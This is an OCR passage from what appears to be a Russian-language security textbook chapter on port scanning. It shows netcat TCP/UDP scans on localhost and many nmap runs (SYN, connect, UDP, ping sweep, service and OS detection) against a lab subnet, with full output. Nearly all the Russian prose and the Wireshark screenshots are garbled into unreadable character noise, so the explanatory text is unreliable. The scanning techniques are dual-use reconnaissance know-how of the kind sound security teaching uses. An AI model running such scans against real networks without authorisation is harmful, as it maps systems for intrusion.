MaKeTOB, KOTOPbIe HA3BIBAIOTCS HOMEPAMU TI0C/Ie/I0BATETbHOCTH, U JITIST TIO/ITBEPK-
JIEHUsT TOTO, 4TO 00a yCTPOHCTBA FOTOBBI K OOMEHY JaHHBIMU M MOTYT YCJIBIIIAT

APYT ApyTa.
Paboraer ato cienyiomum o6pasom (puc. 4.2):

e SYN. Ununuupyromuii xoct (kaneHT) otnpasisier cermeHT TCP ¢ ycranos-
geHabM urarom SYN, yKa3bIBaONUM Ha XXKeJaHWe YCTAaHOBUTDH COeMHE-
nue. B 9TOoM cermenTe Takke COAEPIKUTCS HAYAJIbHBIN HOMED TIOCIeI0BATENb-
Hoctu ISN (Initial Sequence Number), koTopbiii BeiGupaercs caydaiinbim
06pasom.

e SYN-ACK. Ilomyuatotiee ycTpoiicTBO (cepBep) B OTBET OTIIPABJISIET CETMEHT
TCP c ycranosnennbimu dsraramu SYN u ACK. Homep noarsepsknenus (ACK
number) ycranapausaercs kak ISN KmeHTa, yBeJIndeH bl Ha O1H OaiiT, a HO-
BbIil ISN reHepupyercs 1 cepsepa.

o ACK. Mnnmmupytonmuii XocT otnipasJisgert ete ogut cermeHT TCP ¢ yctanossien-
HbiM dararom ACK. Homep moaTBep:KeHNsT B 9TOM CETMEHTE yCTaHABINBAETCS
kak ISN cepBepa, yBeJMUeHHbII Ha OAUH GAlT. DTO MOATBEPKAAECT MOJYIEHIE
SYN ot cepsepa.

[Tocsie 3TOr0 06€ CTOPOHBI OTIIPABJIAIOT JAHHBIE APYT APYTY, KasK/ABII Pas MOATBEPIK-
J1asi OJIydeHme MaKeToB U yBEeJIMYUBast HOMEP MOATBEPKACHHS Ha KOJTUYECTBO MOy~
YeHHBIX 6aliTOB.

Puc. 4.2. Mogenb TPeXCTOPOHHEro pyKonoxatusi

Jlst mpuMepa mokaxeM, Kak 970 paboTaeT ¢ NCTI0Mb30BaHNEeM netcat. YUTure, uto
netcat He sBJgeTCS CKAHEPOM IMOPTOB, UX MBI paccMOTpuM mo3:xke. Netcat — ato
MOIITHAsI yTUINTA KOMAH/THON CTPOKH, KOTOPAsI CIIYKUT JIJIs1 UTEHUS U 3aIIMCH JIaH-
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HBIX Yepe3 ceTeBble CoeIMHeHN ¢ ncnob3oBanneM mpoTokonaoB TCP uan UDP.
Omna MoeT ObITh TPUMEHEHA JIJIST OTIAJKU CETEBBIX COCANHEHUH, CKAHUPOBAHUS
MOPTOB, TIepeHAIIPABJIEHNS TIOPTOB U Jlake CO3/IAHUs IIPOCTHIX CETEBBIX CEPBEPOB
U KJIMEHTOB.

Wrak, 3amyctuM netcat nist ckannposanust auamnazona moptos TCP or 5980-ro mo
5990-ro. ITapasienbHo 9TOMY TIpOIIECCY ISl aHAJIN3a CETeBOroO TpahuKa MbI 3aIry-
crum Wireshark:

itsecbook@kali:$ nc -nvv -w 1 -z 127.0.0.1 5980-5990
(UNKNOWN) [127.0.0.1] 5990 (?) : Connection refused

(UNKNOWN) [127.0.0.1] 5989 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5988 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5987 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5986 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5985 (?) open

(UNKNOWN) [127.0.0.1] 5984 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5983 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5982 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5981 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 5980 (?) : Connection refused

sent @, rcvd @

OrduabsrpoBaB HEOOXOAMMbIE TTAKETHI, Mbl BHAUM, UTO netcat IbITae€TCsA yCTaHO-
BUTH COCAMHEHUS € YKa3aHHBIMU TIOPTAMHU, UCIIOJIb3YS MTPOIEYPY TPEXCTOPOHHETO
pykonoxkarus (puc. 4.3). Ecau coenuenrie HeBO3MOKHO, KJIMEHT MTOTy4YaeT TakeT
RST-ACK u cuntaer aToT mopt 3akpbIThiM. [lociie ycnenHoro coefuHenns /1711 €ro
npekparnienus kiaueHT ornpasnisier naket FIN-ACK.

M sorbackio o x
Eile Edit Mew Go Capure snahze Staistics Telephory Wireless Tooks Help

AN FRARB L4« >EE/A]EE

(A icp pon=—sges || wp.port-—hous [<[=] -]+
o Time Source (Dessination FProiocol  Lengih Info
13 8.888796629 127.8.8.1 127.8.8.1 TCP 66 38586 — 58B5 [ACK] Seq=1 Ack=1 Win=65536 Len=8 TSval=716687474 T_
15 0.001052172  127.0.0.1 127.9.8.1 TCP 66 5905 — 30506 [ACK] Seq=1 Ack=2 Win=85538 Len=0 TSval=T18667474 T.
21 8.861453874  127.8.8.1 127.9.9.1 TR GE JV506 - 5985 [ACK] Seq=2 Ack=2 Win=65536 Len=8 TSval=rieesvars T.

+ Frame 11: 74 bytes on wire (582 bits), 74 bytes captured IES? bits) on 6060 @8 @6 98 60 B8 B8 88 @@ ©0 6O G4 88 68 88 45 88

+ Ethernet II, Sre: { Ye BO10 8O 3e be o2 48 B8 48 08 7 77 7T 88 &9 81 77 oo
» Internet Prolwol \l':ls,iun d src 12? 8.0.1, Dsl 12? E a. _1. 0020 68 81 96 6a 17 61 30 28 cl 57 08 88 80 68 ap 02
2 0 & Port: aBSa6, o ez ff d7 [FEER 66 60 62 84 ff d7 84 62 o8 a 2a b7
8840 ef 02 &0 B8 BB 6O 81 83 83 87

Al I I I
O ¥ wireshark_IlFMT31.pcapng Packets: 27 - Displayed: 9 (33.3%) - Dropped: 0 (0.0%)  Profile: Detault

Puc. 4.3. 3anucb ceTeBoro Tpaduka BO BpeMs ckaHMpoBaHus TCP-nopTos
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CkaHuposaHue UDP

ITporokoser TCP 1 UDP mpeacraisgior coboii Ba OCHOBHBIX cocoba Tepeaadn
TAHHBIX 10 ceTU B nHTepHeTe. OHU CIIYIKAT /1T YCTAHOBJIEHUS COSTUHEHUST MEKIY
JIBYMsT KOMITBIOTEPAMU U TIOCTIEyIoNIei epefaur faHHbX. OHAKO OHU paboTatoT
M0-PA3HOMY, 9TO JIeJIAeT UX TTOAXO/ISAIIUMU JIJIST PA3HBIX TUIIOB TIPUJIOKEHUIT 1 33/1a4.

TCP — npoToKoJ yripaBieHus nepeaadeil JaHHbIX ¢ TPeIBAPUTENbHON YCTAHOBKOMN
COENIMHEHST T 06ECTIETeHNEM TIETOCTHOCTH TAHHBIX.

UDP (User Datagram Protocol) — 310 nmpotoxoJi, KOTOpbIi He TpebyeT mpe/Ba-
PUTEIHHOTO YCTAHOBJIECHUS COCIMHEHUS U He TapAaHTUPYET JOCTaBKY JanHbIX. OH
MIPOCTO OTITPABJISIET IAHHBIE O€3 TIPOBEPKHU TOTO, TOCTUTAIOT JI OHU MECTA CBOETO Ha-
snavenns i HeT. UDP wacTto mcnosib3yeTcst B TOTOKOBOM Tiepeziade Mena (BUIe0,
ayJl10), urpax peajbHOro BpeMeHU U JAPYTUX [IPUJIOKEHUX, TJle CKOPOCTb BaskHee,
YeM TapaHTHs JOCTABKU KaskK/[0T0 T1aKeTa JIaHHbIX.

O6c¢yaus ocuoshble pasinyusa Mexay TCP u UDP, nepeiizieM K CKaHUPOBAHMIO.

Ckanmposanue UDP cioxuee n meminennee, yem ckanupoBanne TCP. 13-3a oT-
CYTCTBUS YCTAHOBJIEHUS COeJIMHEHNS cKaHep oTnpasisgeT myctoir UDP-maker Ha
HeseBoil mopt. Eciu mopr 3akpeIT, cucteMa oObdHO oTipasiger obparano ICMP-
naket «ITopT Heocrynens. Eciu ckanep He 1mojiydyaeT HUKaKOTO OTBETA, OH MOXKET
MPE/ITTOIOKUTD, YTO MTOPT OTKPBIT. OZIHAKO OTCYTCTBHUE OTBETA MOXKET TAKKE YKA3bI-
BaTh Ha TO, YTO MAKET OBLT TIOTEPSTH MU 3a0JJOKUPOBAH MEKCETEBBIM 9KPAHOM. JTO
neaer UDP-ckaHMpOBaHUE MeHee HaJlesKHBIM U 3aTPaurBaroInM GOJIbIIIe BDEMEHH.

B 1estom 06a THma CKaHUPOBAHUS MOJIE3HBI JIJIsT OTIPEIENIEHUsT COCTOSTHUS TTOPTOB
HA yIaJIEHHOI MallliHe, HO OHU PabOTaIOT MO-Pa3HOMY U MOTYT JaTh Pa3iuvHbIe
DE3YJIBTATHI B 3aBUCHMOCTH OT OOCTOSITETHCTB.

Kak u B npeapiayiieM npuMepe, IpoAeMOHCTPUPYeM ckaHupoBanue mopros UDP
npu nomoiny netcat u wireshark:

itsecbook@kali:$ nc -nv -u -z -w 1 127.0.0.1 198-202
(UNKNOWN) [127.0.0.1] 200 (?) open

Kax Bbl Morsiz 3aMeTuTh, ceteBoit Tpacduk pu uctosbzoBanu TCP u UDP cuibio
otsinyaetcs. B ciyuae, Korjia mopT OTKPBIT, JIaHHbBIE TIEPEIAIOTCS OTPEICTEHHOMY
ITO, xoTopoe MpUHNMAET pelIeHNe O TOM, YTO IeJIaTh Aajblie. Ecan e coeTHeHTE
HEBO3MOJKHO, OTTIPABUTENb MTOJIYYAET COOTBETCTBYIOIINIA TTAKET, KAaK BUIHO HA TIPU-
BeJICHHOM CHUMKe aKpaHa (puc. 4.4).

Nmap

Nmap (Network Mapper) — mMomiHas 1 rubkast yTUIUTa JJisI CKAHMPOBAHMS CETeld,
UCTIOJIb3yeMas Jiisi OOHAPYKEHUs XOCTOB U CJIy:KO Ha ceTeBbIX ycTpoiicTBax. Ee
UCTIOMB3YIOT JIJIST CO3/IAHIST KapPThl CeTel, BKI0YAs TToTyuenne nrbopmaun 06
YCTPOUCTBAX, OTKPBITHIX MOPTAX, 3aMyIieHHbIX ciyskbax u OC.



CkaHMpoBaHMe rnopToB 117

M "Loopaco - o %
Eile Edit View Go Capture Analyze Siatistics  Telephony Wireless JTools Help

ARI@FRABRB P>V« > EERQADE

[I|u:|,|1.mrl——|99||udp.mn——?un <[ =] ‘] +
MO, Time =Eource Destination Pratncal | Length Info

5 2.001881281 127.6.8.
L 6 3.002501917 127.6.6.
7 2.802834888 127.8

08 68 00 88 00 68 60 60 60 00 A8 60 45 60
d7 1c [EECCECENEE f 88 .8

Frame 5: 43 byles on wire (344 bits), 42 byles caplured {3%‘ aEE0 88 88
Ethernet II, Src: 88:80:00 60:00:00 (BB:00:00:00:00:68), D:| BE1H © 1d 65 bl 48 BB 4B 11
Internet Protocol Version 4, Sro: 127.8.8.1, Dst: 127.9.8.1| 0920 0@ @1 a9 73 00 cB ee @3 fe 1c @@

User Datagram Protocol, Src Port: 43379, Dst Port: 288
Data (1 byte)

0

TH (4] I I
Packets: 10 - Di 4 (40.0%) - Dropped: 0 (0.0%)  Profile: Default

@7 . lo3G0631-peapng

Puc. 4.4. 3anucb ceTeBoro Tpaduka BO BpeMs CKaHMpoBaHus noptoB UDP

JlaHHas yTUIUTA TOAAEPKUBAET OOJBIIOE KOJUIECTBO PA3JUYHBIX THIIOB CKa-
nupoBanus, Bkaouas TCP-, UDP- u ICMP-ckarupoBanme, a Takke MHOKECTBO
JOIIOJHUTEIbHBIX ONIuii 1 pyHKImil. OHa MOKET ObITh 3allyIleHa B KOHCOJIM UK

B rpacuueckoii cpesie (Zenmap).
IMorpoGyeM 3amycTUTh NMap € METbIO MOJYYUT CITUCOK OTKPBITHIX TIOPTOB HA OTHOM
U3 CepPBEPOB.

itsecbook@kali:~# nmap 192.168.10.3

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:07 EDT
Nmap scan report for lab (192.168.10.3)

Host is up (0.00074s latency).

Not shown: 997 closed tcp ports (conn-refused)

PORT STATE SERVICE

3000/tcp open ppp

5432/tcp open postgresql

9000/tcp open cslistener

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

Wrak, MBI BUAMM, 9TO GBITIO HAIEHO TP OTKPBITHIX TIOPTA, HO €CTh OfiHA 0COOEH-
HOCTb: KOT'/Ia MBI 3allyCKaeM JIAaHHYIO YTUJIUTY, OHa CKaHUPYeT XOCT He Ha BCE OTKPBI-
ThIE OPTHI, & TOJILKO Ha CaMble MOTyJsapHbIe. [[J1s1 TOro 4To6bl nmap MpoCKaHUPOBAT
HY’KHBII XOCT M 0TOOPA3UII BCE OTKPBITHIE MOPTHI, HEOOXOMMO YKA3aTh UAIa30H,
B KOTOPOM YTHJIUTE CJIEYeT padOTaTh; JIsl 9TOTO BOCIIOJIb3yEMCsI TTAPaMETPOM -p:

itsecbook@kali:~# nmap 192.168.10.3 -p 1-65535

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:08 EDT
Nmap scan report for lab (192.168.10.3)

Host is up (0.00013s latency).

Not shown: 65531 closed tcp ports (conn-refused)
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PORT STATE SERVICE
3000/tcp open ppp
5432/tcp open postgresql
5985/tcp open wsman
9000/tcp open cslistener

Nmap done: 1 IP address (1 host up) scanned in 2.30 seconds

[Ipoananu3npoBas pe3ysbraT, MOSKHO TPUHTH K BBIBO/LY, UTO, 3AITyCTUB YIIOMSIHYTYIO
MIPOTPAMMY C JTOTIOJIHUTEJIbHBIM ITapaMeTPOM M yKa3aB TTOJHBIN AUANa30H MOPTOB,
MBI TTOJTYIUJIN JIOTIOJTHUTEIbHBIN Pe3yJIbTaT W MOJHYI0 KapTUHY HAJTWYHUS CEeTeBBbIX
CEPBHUCOB, K KOTOPBIM MOKEM TTOJKIIOYNUTHCS.

Ho coruacurecs, eciiu riepe/; HAMHU JIOCTATOYHO OOJIBIIIAST CETh, TO CKAHMPOBATD KAKLYIO
OT/IEJIBHYI0 MAIITUHY Oy/IeT Hey0OHO U 0YeHb 10JT0. UToOBI ONITUMU3HPOBATH TIPO-
I[ecc, MBI MOKEM HCIIOTb30BaTh CHIMBOJ * BMECTO TTOCJIE/THETO OKTETa B CETEBOM ajpece:

itsecbook@kali:~# nmap 192.168.91.* -p 1-65535

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:22 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00073s latency).

Not shown: 65534 closed tcp ports (conn-refused)

PORT STATE SERVICE

53/tcp open domain

Nmap scan report for 192.168.91.128

Host is up (©.000096s latency).

All 65535 scanned ports on 192.168.91.128 are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)

Nmap scan report for 192.168.91.130

Host is up (©.00086s latency).

Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

389/tcp open 1ldap

Nmap scan report for 192.168.91.131

Host is up (0.00083s latency).

Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

443/tcp open https

Nmap done: 256 IP addresses (4 hosts up) scanned in 11.64 seconds
B nmap Arama3olH CKaHUPYEMbIX a/[pECOB MOJKHO YKa3aTb €llle AByMsI CHOCO6aMI/II

e ucnomb3yst Macky nogcetn — 192.168.91.0/24;
® yKkaszaB TouHbIN auanazon — 192.168.91.100-200.
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CkpbITHOe ckaHupoBaHue, uin SYN-cKaHnpoBaHue

MetomoM ckaHUPOBAHUS 110 YMOJTYAHUIO B nmap aBisercd SYN-cKaHupoBaHue, Nin
«CKPBITHOE» CKaHUPOBaHWe, — NMap Beeria OyeT UCI0JIb30BaTh €r0, €CJU BBl He
yKazaJi Kakoi-y100 apyroit Meto. SYN-CKaHUPOBaHKUE — 9TO METO/] CKAHUPOBAHWSI
mopTtoB TCP, B koTopom SYN-TTakeThI OTTIPABJISIOTCS Ha Pa3TUIHBIE TIOPTHI 11€JI€BOM
MaIluHbl 6e3 3aBePIIeHUs POIEYPBI TPEXCTOPOHHETO PyKoToKaTusa. Ecau mopt
TCP oTkpsiIT, llesieBast MalliiHa JoJsKHa oTiipaBuTh obpario SYN-ACK, undopmu-
pyst 00 atom. Ha caenyiotiem artare ckaunep He ormpasisier ACK st 3aBepiieHust
MPOIEyPbl YCTAHOBKY COEIMHEHUS.

Tak kak mpolerypa TpeXCTOPOHHETO PYKOIIOKATHS He 3aBepIIaeTCs, TO CoelMHeHIEe
He CUATAETCS YCTAHOBJIEHHBIM, & 9TO 3HAYMT, YTO JAHHBIE HE JIOXO/AT 70 YPOBHS IIPU-
JIOKEHUS U T09TOMY OHU He hukcupytorcs B gorax. bosiee Toro, SYN-ckannpoBanue
pabotaet ObicTpee U A bEKTHBHEE, TAK KAK B IIPOIECCE MEPEIAETCS 1 IIPHHUMAETCSI
MEHbIIlee KOJMIeCTBO makeToB. OMHAKO YUTUTE, YTO GONBITUHCTBO COBPEMEHHBIX
(baitepBOIOB yMEIOT ONIpe/iesisiTh TaHHBIN TUIT CKAHUPOBAHUS TTOPTOB U B TAKOM
CJIy4dae OCTaThCsl He3aMEeUEHHBIM He TIOJIYYUTCS.

TCP-ckaHupoBaHue

Eciiu nosie3oBarestb 3ammyckaer nmap 0e3 mpaB aMUHUCTPATOPA, 110 YMOJTYAHIIO
Oyner BeiOpan Meros ckanuposanus TCP Connect, He TpeOyOIIUI ClienaIbHbIX
mpaB. B aToMm ciydae mpoucXoAUT TOMHAS TMPOTEAYPA YCTAHOBKU COEIUNHEHUS.
O/HAKO yYUTHIBAsI TO, 4TO NMap JO0JIKHA JOKIATHCST YCTAHOBJIEHUS COEMHEHMS,
CKaHMPOBaHUE ¢ NOAKI0YeHreM TpebyeT GoJibiie BpeMenu, 4eM SYN-cKkaHupoBaHue.

Wuorma MoxkeT MOTPe6OBATHCST OCYIECTBUTH UMEHHO CKAHUPOBAHKE C MOKITIOUE-
HEEM, HAITPUMED, TP paboTe yepe3 HEKOTOPbIE TUIIBI TIPOKCH-CePBEpPOB. B Takux
CJIy4asx UCIOJIb3yeTcs napameTp -sT.

Huske MbI TpUBeieM Pe3yJITaThl PAGOTHI CKAHUPOBAHUS ¢ TIOAKII0UeHHeM 1 SYN-
CKaHMPOBAHMUS C 11eJIbI0 CPABHEHNST CKOPOCTH MX BBITIOTTHEHUS.

itsecbook@kali:~# nmap 192.168.91.* -sT

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:42 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00096s latency).

Not shown: 998 filtered tcp ports (no-response)

PORT STATE SERVICE

53/tcp open domain

Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (4 hosts up) scanned in 13.26 seconds
itsecbook@kali:~# nmap 192.168.91.* -sS

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:49 EDT

Nmap scan report for 192.168.91.2
Host is up (©.00055s latency).
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Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE

Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (4 hosts up) scanned in 7.54 seconds

UDP-ckaHupoBaHue

ITpu Beimosnternn UDP-ckaHpoBaHus Nap MCIOJIb3yeT KOMOMHAITUIO ABYX Pas-
JIMYHBIX METOJIOB JIJIST OTIPE/IETICH YIS TOTO, OTKPBIT TIOPT UJIH 3aKPHIT. J1715T 60IBIITIH-
CTBa TIOPTOB OHAa UCTIOAB3YeT cTanAapTHbIil MeTog ICMP port unreachable, o koro-
POM TOBOPUJIOCH paHee, OTIIPaBJIsisd ITyCTOH MaKeT Ha yKazaHHbIi mopt. OaHako 1/
OOIIKMX MOPTOB, TAKUX KaK UCIoJb3yembrit SNMP mopt 161, oHa oTIIpaBUT creru-
uaeckuit qms mporokosa SNMP maxket. [lnsg Bomonnenus UDP-ckaruposanms
HCIOJIb3YeTCs I1apameTp -su.

B nononnenne k CKa3aHHOMY BbIIIE€ CTOUT OTMETUTD CJIEAYIOIIEE:

o UDP-ckaHupoOBaHUE MOKET ObITh OUE€HDb MEJICHHBIM, TIOTOMY YTO ITPOTOKOJIBI,
octnoBannble Ha UDP, He uMe1oT BCTPOeHHbIX MEXaHU3MOB YIIPaBJIEHUS I0TOKOM
naHHbIX, Kotopbie ectb y TCP. TloaToMy uT06bI M36€KATH TIEPErPY3KH CETH, NMAap
CHUKAeT CKOPOCTD OTIIPABKH TTAKETOB.

e Hexkoropsie cucrembr orpannuuBatoT 4rcio [CMP-o1uboK, OTIPaBIISEMbIX B Ce-
KYHILY, 9TO MOXKET IMTPUBECTHN K TIPOTTYCKY 3aKPBITHIX TIOPTOB, €CJIN CKAHUPOBAHNE
BBITIOJTHSIETCST CJTUTITKOM GBICTPO.

e Hexkoropsie dhaiiepBoJIbl U CUCTEMbBI 00HAPY/KEHMsI BTOPKEHUN MOIYT GJIOKUPO-
Batb ICMP-coobiienus, uTo gejiaeT HeBO3MOKHbBIM OIpee/IieHIe COCTOSTHIS
mopTa.

itsecbook@kali:~# nmap 192.168.91.0/24 -sU

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:59 EDT
Nmap scan report for 192.168.91.1

Host is up (0.00020s latency).

All 1000 scanned ports on 192.168.91.1 are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)

MAC Address: ©00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.91.2

Host is up (©.0026s latency).

Not shown: 999 open|filtered udp ports (no-response)
PORT STATE SERVICE

53/udp open domain

MAC Address: ©0:50:56:FE:1D:3F (VMware)

Nmap scan report for 192.168.91.130

Host is up (0.00065s latency).

Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE

68/udp open|filtered dhcpc
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MAC Address: ©0:0C:29:15:C6:CD (VMware)

Nmap scan report for 192.168.91.131

Host is up (0.00065s latency).

Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE

68/udp open|filtered dhcpc

MAC Address: ©0:0C:29:2B:51:70 (VMware)

Nmap scan report for 192.168.91.254

Host is up (0.00019s latency).

All 1000 scanned ports on 192.168.91.254 are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)

MAC Address: ©0:50:56:FC:2E:E6 (VMware)

Nmap scan report for 192.168.91.128

Host is up (0.0000090s latency).

All 1000 scanned ports on 192.168.91.128 are in ignored states.
Not shown: 1000 closed udp ports (port-unreach)

Nmap done: 256 IP addresses (6 hosts up) scanned in 1088.26 seconds

[TapameTpbi -sS U -sU MOKHO KOMOMHUPOBATH AJIs HOJIydeHus GoJiee MoapoOHOi
nugopmaimu o mesesoit C:

itsecbook@kali:~# nmap 192.168.91.* -sS -sU

CkaHupoBaHue 60MbLLMX CETEN

ITpu pabore ¢ GOJNBIIUMU CETSIMU Bbl HEM30EKHO renepupyere Tpaduk B 6OJbIIOM
obbeMe, a caM mpoitece OyeT uaTu 3aMeTHo MeieHHee. OHAKO BCera ecTb BO3-
MOKHOCTb ONITUMHU3WPOBATD JAHHBIN 1Tpotiecc. Mbl HAUHEM € TTPOCTOTO CKAHNPOBA-
HYIST [IJIST OTIPE/IeIEH ST aKTHBHBIX XOCTOB, 4 3aT€M MPOCKAHUPYEM KayKIbli U3 HUX.

[ onTMM3aIy Ipolecca NCIob3yeM TTapaMeTp -sn. ITOT TapamMeTp yKa3bIBaeT
NMap He BHIMOJHSATH CKAHUPOBAHUE TIOPTOB MOCJIE 0OOHAPYIKEHMS XOCTa, & TOJIBKO
BBIBOJIUTH JIOCTYITHBIE XOCTBI. TaKOM TUIT CKAHUPOBAHUS YACTO HA3bIBAETCS «CKAHU-
pOBaHUEM Ping», OH TIO3BOJISIET TIPOBECTH JIETKYIO PA3BEIKY CETH TETEBOTO 00HEKTA
6e3 mpuBIeYeHsT GOMBITOTO BHIMAHUS.

[IpockanupyeM HaIlly ceTb, UCTIOJIb3Y4 MTapaMeTphbl -sn U -0G. [locaeanuii oTBeyaeT
3a COXpaHEHNe Pe3yabTaTOB B (haiiJl, TO TTOMOKET HE TIOTEPATH PE3yIBTAThl CKaHH-
poBaHus:

itsecbook@kali:~# nmap -sn 192.168.91.0/24 -oG results.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 10:27 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00072s latency).

Nmap scan report for 192.168.91.128

Host is up (0.00024s latency).

Nmap scan report for 192.168.91.130

Host is up (0.00067s latency).
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Nmap scan report for 192.168.91.131
Host is up (0.00023s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.42 seconds

[Tocmotpum Ha coziepkuMoe daiia:

itsecbook@kali:~# cat results.txt
# Nmap 7.93 scan initiated Mon May 1 10:27:59 2023 as: nmap -sn -oG results.
txt 192.168.91.0/24
Host: 192.168.91.2 () Status: Up
Host: 192.168.91.128 () Status: Up
Host: 192.168.91.130 () Status: Up
Host: 192.168.91.131 () Status: Up
# Nmap done at Mon May 1 10:28:01 2023 -- 256 IP addresses (4 hosts up)
scanned in 2.42 seconds

Jluist onipeziesieHnst aKTUBHBIX XOCTOB BMecTO uctoib3oBanus [CMP mbl ripoBesieM
ckannposanue nonyasipabix TCP- i UDP-mopTos. Mbr MoskeM mcronb3oBaTh
443-i1 nnm 80-if OPT, OJIHAKO €CJIN BBl UIleTe KAKOW-TO KOHKPETHBIN CePBUC, TO
YKa)KUTE TOT MOPT, HA KOTOPOM OH 0ObIMHO paboTaet, Harpumep mopt 53 (cepBep
JIOMEHHBIX UMEH ).

Jlnst ocyIecTBIEHNS TAKOTO CKAHUPOBAHUS UCIIOJIBb3yeM YiKe M3BECTHBIN HaM Tia-
pameTp -p:

itsecbook@kali:~# nmap -p 80,443,53 192.168.91.0/24

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 10:39 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00086s latency).

PORT STATE SERVICE
53/tcp open domain
80/tcp closed http
443/tcp closed https

Nmap scan report for 192.168.91.128
Host is up (0.00043s latency).

PORT STATE SERVICE
53/tcp closed domain
80/tcp closed http
443/tcp closed https

Nmap scan report for 192.168.91.130
Host is up (0.00035s latency).

PORT STATE SERVICE
53/tcp closed domain
80/tcp open http
443/tcp closed https

Nmap scan report for 192.168.91.131
Host is up (0.00041s latency).
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PORT STATE SERVICE
53/tcp closed domain
80/tcp open http
443/tcp open  https

Nmap done: 256 IP addresses (4 hosts up) scanned in 2.49 seconds

[Mepen mamu, kak 0OBIYHO, CTOUT I[€JIb SKOHOMUU BpeMeHu U pecypcoB. [Tpose-
MOHCTPHUPYEM ellle [BA MHTEPECHBIX MapamMeTpa JJis 3alycKka. Kak Bbl mOMHUTE, 110
ymosrdanuio nmap ckanupyet 1000 caMbIX TTOMYJIIPHBIX IOPTOB, OTHAKO MBI MOXKEM
COKPATUTH WX KOJUIECTBO, HCIIOJIB3YST TapaMeTp - -top-ports. JIjst momydenus 60-
Jiee IeTATBHO WHGMOPMAIINH O T[eJIEBOH crcTeMe T06aBUM TTapaMeTp -A, Garoaapst
aToMy nmap mornpobyet onpenenuts Bepcuto OC tenesoit C:

itsecbook@kali:~# nmap -sT -A --top-ports=10 192.168.91.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 10:46 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00056s latency).

Nmap scan report for 192.168.91.130
Host is up (0.00068s latency).

PORT STATE SERVICE VERSION
21/tcp closed ftp
22/tcp open  ssh OpenSSH 8.2pl1 Ubuntu 4ubuntu@.5 (Ubuntu Linux;

protocol 2.0)

| ssh-hostkey:

| 3072 albdf9d1dd21453dbf91b20e7e80b941 (RSA)

| 256 e2745745d41ee571f4b08484600b78b9 (ECDSA)

| _ 256 652f9055d4a6affca3felb8d6bdfibdd (ED25519)
23/tcp closed telnet

25/tcp closed smtp

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| _http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
110/tcp closed pop3

139/tcp closed netbios-ssn

443/tcp closed https

445/tcp closed microsoft-ds

3389/tcp closed ms-wbt-server

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.91.131
Host is up (0.00080s latency).

PORT STATE SERVICE VERSION
21/tcp closed ftp
22/tcp open  ssh OpenSSH 8.9p1 Ubuntu 3ubuntu@.1 (Ubuntu Linux;

protocol 2.90)

| ssh-hostkey:

| 256 d5df3aa@cd9d27198b30beaada3alfc2 (ECDSA)
| _ 256 a77192dd53F5cFf07fc51782a48619cF (ED25519)
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23/tcp closed telnet
25/tcp  closed smtp
80/tcp open http nginx 1.18.0 (Ubuntu)

http-server-header: nginx/1.18.0 (Ubuntu)
http-title: Apache2 Ubuntu Default Page: It works

110/tcp closed pop3
139/tcp closed netbios-ssn
443/tcp open ssl/http nginx

tls-alpn:
http/1.1
http-title: Apache2 Ubuntu Default Page: It works
ssl-date: TLS randomness does not represent time
tls-nextprotoneg:
http/1.1
ssl-cert: Subject: commonName=edem
Subject Alternative Name: DNS:edem
Not valid before: 2023-01-30T09:36:05
Not valid after: 2033-01-27T09:36:05

445/tcp closed microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 256 IP addresses (4 hosts up) scanned in 21.52 seconds

OnpeaeneHne Tuna onepaLyoHHON CUCTEMBI

Ecan nepes ckaHupoBaHieM yKasaTh lapaMerp -0, 9TO JIONOJHUTENbHO 3aITyCTUT
nporecc onpenenenns turna OC Ha HalljieHHBIX X0cTaX. Nmap onpesenser TUIl
OIEPAIIMOHHON CHCTEMBI C MOMOMIBIO PA3JMYHBIX XapaKTEPUCTUK U TTOKa3aTeJIeli,
KOTOPBIE BKJIFOYAIOT B CeOsI:

ocobennoctu creka TCP/IP, takue kak HayanbHble 3HaueHns Time To Live
(TTL) u pasmep oxua TCP, KoTopble MOryT ObITh YHIKAJIbHBIMU AJIS ONIPeIe-
sgennoit OC;

ocobernoctr pabotsl TCP u UDP. Nmap aHajiusupyer moBejeHue meaeBoi
